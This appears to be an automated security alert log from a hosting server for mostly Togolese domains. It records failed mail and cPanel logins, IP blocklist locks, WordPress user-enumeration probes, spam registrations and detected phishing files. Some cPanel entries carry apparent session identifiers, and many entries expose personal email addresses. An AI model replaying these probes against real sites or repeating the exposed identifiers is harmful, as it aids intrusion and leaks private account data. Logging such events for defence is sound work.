abuser: 45.32.53.102
country_id: 1861060
description:
2026-06-08 17:21:26 dovecot_plain authenticator failed for H=(tr3yfn45ri36isqgafkw) [45.32.53.102]:47108: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 64.44.62.24
country_id: 6252001
description:
[2026-06-08 17:25:15 +0000] info [cpaneld] 64.44.62.24 - rdlizssu "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.130.8.67
country_id: 6251999
description:
Jun  8 17:25:59 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.130.8.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.8.67
country_id: 6251999
description:
2026-06-08 17:26:01 dovecot_login authenticator failed for H=67.8.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.8.67]:50091: 535 Incorrect authentication data (set_id=stephane.o@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.23
country_id: 6252001
description:
[2026-06-08 17:26:50 +0000] info [cpaneld] 216.189.152.23 NEW wcnyaruu:OK2bWrGifXxT3RXZ address=216.189.152.23,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.212.94.42
country_id: 2363686
domain: mo2.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=50&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 17:29:09 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:62773: 535 Incorrect authentication data (set_id=video)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.212.94.42
country_id: 2363686
domain: mo2.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/17?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 17:29:07 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 209.217.253.20
country_id: 6252001
description:
[2026-06-08 17:30:13 +0000] info [whostmgrd] 209.217.253.20 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.217.253.20
country_id: 6252001
description:
[2026-06-08 17:30:10 +0000] info [whostmgrd] 209.217.253.20 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.15.197.47
country_id: 6252001
description:
2026-06-08 17:31:18 dovecot_plain authenticator failed for H=ec2-3-15-197-47.us-east-2.compute.amazonaws.com (t6ehl831iq1cln32kcrn9vzuiis9izux) [3.15.197.47]:58216: 535 Incorrect authentication data (set_id=aime.d@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 3.15.197.47
country_id: 6252001
description:
Jun  8 17:31:16 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 3.15.197.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.128.21.57
country_id: 1814991
description:
2026-06-08 17:36:49 H=([113.128.21.57]) [113.128.21.57]:5985 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-08 17:37:09 +0000] info [cpaneld] 5.230.153.46 NEW doufelg:TSy0OyX9nsl07a5E address=5.230.153.46,app=cpaneld,creator=doufelg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 17:40:38 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 17:40:40 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:50958: 535 Incorrect authentication data (set_id=video)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.242.214
country_id: 3469034
description:
[2026-06-08 17:42:07 +0000] info [cpaneld] 216.26.242.214 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.128.21.57
country_id: 1814991
description:
2026-06-08 17:42:54 H=([113.128.21.57]) [113.128.21.57]:5088 F=<John@4452.com> rejected RCPT <admin@togocarrierebetons.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.7.253
country_id: 1835841
description:
2026-06-08 17:44:05 dovecot_login authenticator failed for H=(broadband-188-32-30-69.ip.moscow.rt.ru) [59.8.7.253]:47371: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.100
country_id: 3017382
description:
[2026-06-08 17:46:04 +0000] info [cpaneld] 5.231.64.100 NEW zauwogvk:jUTfV5RA644vn4eG address=5.231.64.100,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.177
country_id: 6252001
description:
[2026-06-08 17:46:07 +0000] info [cpaneld] 107.175.5.177 NEW frtwilql:k2c63WbQ0JLIYM8B address=107.175.5.177,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Redeem Your Free Plays vamvozmviigr.blogspot.jp Kr||Email:cruiseathelpu@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:17-46.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.135
country_id: 2635167
domain: scafricaplc.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zauwogvk/public_html/.761963772233403.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.198.255.129
country_id: 3190538
description:
[2026-06-08 17:51:50 +0000] info [cpaneld] 188.198.255.129 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 111.36.109.42
country_id: 1814991
description:
2026-06-08 17:53:09 H=([111.36.109.42]) [111.36.109.42]:60976 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.109
country_id: 1512440
description:
2026-06-08 17:54:10 H=([213.230.87.16]) [213.230.87.109]:10446 F=<John@4452.com> rejected RCPT <wellbloc@confortis.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.107.131.241
country_id: 1814991
domain: sia-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-55.171.107.131.241||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-08 17:56:12 +0000] info [webmaild] 196.170.45.140 - a.ajavon@wages.tg "POST /cpsess3372386910/3rdparty/roundcube/?_task=mail&_remote=1&_from=compose&_id=508743426a2701bbcd4e5&_uploadid=upload1780941619064&_action=upload HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.0.186] != Current IP Address [196.170.45.140]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.145.160.30
country_id: 1269750
description:
Jun  8 17:56:28 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.145.160.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.30
country_id: 1269750
description:
2026-06-08 17:56:30 dovecot_plain authenticator failed for H=(ninnod) [59.145.160.30]:58732: 535 Incorrect authentication data (set_id=admin@togointerim.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.0.125.239
country_id: 163843
domain: www.brmn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.brmn.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.0.125.239
country_id: 163843
domain: www.brmn.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.brmn.tghttp/www.brmn.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-08 17:57:46 +0000] info [cpaneld] 51.83.4.64 - anadebfreenetmas "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anadebfreenetmas (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 198.163.195.55
country_id: 1512440
description:
2026-06-08 17:58:17 H=([0.0.0.0]) [198.163.195.55]:27152 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.133.52.185
country_id: 798544
description:
Jun  8 17:59:43 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.133.52.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 34.39.47.141
country_id: 2635167
description:
Jun  8 18:00:07 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 34.39.47.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.39.47.141
country_id: 2635167
description:
2026-06-08 18:00:09 dovecot_login authenticator failed for H=141.47.39.34.bc.googleusercontent.com (10.154.0.2) [34.39.47.141]:52407: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 198.163.195.55
country_id: 1512440
description:
2026-06-08 18:00:26 H=([0.0.0.0]) [198.163.195.55]:39125 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.133.52.185
country_id: 798544
description:
Jun  8 17:59:56 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.133.52.185 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:18:06:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105739&pdata=http%253A%252F%252Fwww.contacttracing.pnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780941987 HTTP/1.1" 302 0 www.contacttracing.pnls.tg "http://www.contacttracing.pnls.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [08/Jun/2026:18:06:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117512&pdata=http%253A%252F%252Fwww.contacttracing.pnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780941990 HTTP/1.1" 302 0 www.contacttracing.pnls.tg "http://www.contacttracing.pnls.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [08/Jun/2026:18:07:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065560&pdata=https%253A%252F%252Femt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942040 HTTP/2.0" 302 0 emt.tg "https://emt.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 173.44.61.171
country_id: 6252001
description:
173.44.61.171 - - [08/Jun/2026:18:07:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134699&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fkodzo-adedze%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942065 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/kodzo-adedze/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.9236.1035 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:173.44.61.171


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.123
country_id: 6252001
description:
2026-06-08 18:07:00 dovecot_login authenticator failed for H=(inger.tg) [104.28.158.123]:23055: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:18:07:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7049835&pdata=https%253A%252F%252Femt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942052 HTTP/2.0" 302 0 emt.tg "https://emt.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [08/Jun/2026:18:11:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13407858&pdata=http%253A%252F%252Fcfmi.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942301 HTTP/1.1" 302 0 cfmi.tg "http://cfmi.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.30
country_id: 6252001
description:
205.169.39.30 - - [08/Jun/2026:18:12:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842778&pdata=https%253A%252F%252Femt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942327 HTTP/2.0" 302 0 emt.tg "https://emt.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.30


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.23
country_id: 6252001
description:
205.169.39.23 - - [08/Jun/2026:18:12:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080428&pdata=https%253A%252F%252Femt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942327 HTTP/2.0" 302 0 emt.tg "https://emt.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.23


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [08/Jun/2026:18:12:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859222&pdata=https%253A%252F%252Femt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780942330 HTTP/2.0" 302 0 emt.tg "https://emt.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.239.235
country_id: 3469034
description:
[2026-06-08 18:12:36 +0000] info [cpaneld] 216.26.239.235 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 45.227.254.156
country_id: 3703430
description:
Jun  8 18:13:17 ns5 pure-ftpd[1100519]: (?@45.227.254.156) [INFO] New connection from 45.227.254.156


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 18:15:21 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 18:15:23 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:54947: 535 Incorrect authentication data (set_id=video)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.105.82.126
country_id: 3895114
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/jobs-and-contributors/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.22.3
country_id: 2921044
description:
[2026-06-08 18:20:25 +0000] info [cpaneld] 195.63.22.3 - himcuijv "GET / HTTP/1.1" FAILED LOGIN cpaneld: User himcuijv has their account suspended. Login blocked.


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Reliable Reward sepoladi.blogspot.ru AC||Email:luzkarime.23@hotmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-24.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 18:27:57 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 18:27:59 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:56803: 535 Incorrect authentication data (set_id=backup2)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.243.245.5
country_id: 3996063
description:
2026-06-08 18:29:22 H=([192.168.0.58]) [104.243.245.5]:36423 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<seduccion@outlook.com> rejected RCPT <info@magnarx.mx>: SMTP AUTH is required for message submission on port 465


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.248.206.183
country_id: 1210997
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/fr/slides/11 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.10.95.246
country_id: 130758
description:
2026-06-08 18:32:27 H=([176.10.95.246]) [176.10.95.246]:28483 F=<John@4452.com> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.148
country_id: 2635167
description:
[2026-06-08 18:39:19 +0000] info [cpaneld] 5.230.133.148 NEW njdbfcnn:1KsSWDXMyogioQcL address=5.230.133.148,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.229
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.958752635159348.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - pabalo@togointerim.net [06/08/2026:18:41:05 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: pabalo@togointerim.net


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 18:41:25 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 18:41:27 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:57352: 535 Incorrect authentication data (set_id=backup2)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.92.219.48
country_id: 1880251
description:
190.92.219.48 - - [08/Jun/2026:18:42:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9933680&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftransformation-digitale-au-togo-lancement-imminent-du-projet-didentification-unique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780944158 HTTP/1.1" 302 0 togodailynews.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.92.219.48


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.110.60
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.110.60||TA:163.198.110.60||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.130.81.102
country_id: 690791
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:18-44.45.130.81.102||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.32.36.127
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/37.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Immediately Open Your Prize eropolik.blogspot.ca h5||Email:lafondastraughter222@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:18-49.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.33.235
country_id: 1880251
description:
43.156.33.235 - - [08/Jun/2026:18:50:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7234665&pdata=https%253A%252F%252Fhaplucia-togo.tg%252F2026%252F02%252F13%252Fprojet-dintegration-de-leducation-a-la-lutte-contre-la-corruption-la-haplucia-boucle-sa-tournee-preparatoire-a-lens-datakpame%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780944616 HTTP/2.0" 302 0 haplucia-togo.tg "https://haplucia-togo.tg/2026/02/13/projet-dintegration-de-leducation-a-la-lutte-contre-la-corruption-la-haplucia-boucle-sa-tournee-preparatoire-a-lens-datakpame/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.33.235


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [08/Jun/2026:18:50:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039842&pdata=https%253A%252F%252Ftdn.tg%252Ftchekpo-construction-usine-huile-rouge%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780944649 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tchekpo-construction-usine-huile-rouge/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.57.253
country_id: 2363686
domain: educplusmedia.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.98.41.27
country_id: 1269750
description:
Jun  8 18:52:10 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.98.41.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.79.52.114
country_id: 1269750
description:
Jun  8 18:53:03 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.79.52.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun  8 18:53:45 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.129.139.242
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/un-bateau-de-croisiere-accueilli-au-port-autonome-de-lome/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.129.139.242
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/un-bateau-de-croisiere-accueilli-au-port-autonome-de-lome/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.79
